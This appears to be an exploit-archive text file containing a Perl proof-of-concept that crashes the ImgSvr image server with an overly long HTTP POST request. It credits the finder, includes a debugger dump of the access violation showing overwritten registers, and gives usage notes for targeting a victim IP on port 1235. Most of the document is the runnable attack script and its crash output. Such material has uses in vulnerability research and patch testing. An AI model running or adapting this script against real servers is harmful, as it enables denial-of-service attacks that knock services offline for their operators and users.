imgsvrDoS.txt

`I have provided the fillowing proof of concept..  
Afected-softwear  
Credit's :n00b.  
  
http://freshmeat.net/projects/imgsvr/  
  
Exploit,  
  
#!/usr/bin/perl  
##Proof of concept.  
#################################################################################  
#Credit's:to n00b for finding this bug.  
#  
#Afected :ImgSvr.exe  
#   
#Download softwear: http://freshmeat.net/projects/imgsvr/  
#  
#Crash the server with overly long http post request..  
#  
#Main site of affected product. http://freshmeat.net/projects/imgsvr/  
#Sending an overly long post request will crash the server with the following.  
#Acsess violation..  
#Tested :win xp sp1..  
#  
#error:500 Server closed connection without sending any data back  
#this is a error msg will receive on successful exploitation.  
#################################################################################  
##(e7c.168): Access violation - code c0000005 (first chance)  
# First chance exceptions are reported before any exception handling.  
# This exception may be expected and handled.  
# eax=41414142 ebx=00000000 ecx=00000000 edx=00000002 esi=41414141 edi=00000000  
# eip=006bf546 esp=022ab1c4 ebp=022ab628 iopl=0 nv up ei pl nz na po nc  
# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206  
# *** WARNING: Unable to verify checksum for C:\Program Files\Imgsvr\imgsvr.exe  
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Imgsvr\imgsvr.exe  
# imgsvr+0x2bf546:  
# 006bf546 881c30 mov [eax+esi],bl ds:0023:82828283=??  
###################################################################################  
#  
# Usage: imageserv.pl change to your ip 127.0.0.1 < vic ip port 1235   
###################################################################################  
  
  
use LWP::UserAgent;  
$ua = LWP::UserAgent->new;  
  
my $req = HTTP::Request->new(POST => 'http://127.0.0.1:1235/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');  
  
$req->content_type('application/x-www-form-urlencoded');  
$req->content('match=www&errors=0');  
  
my $res = $ua->request($req);  
print $res->as_string;  
`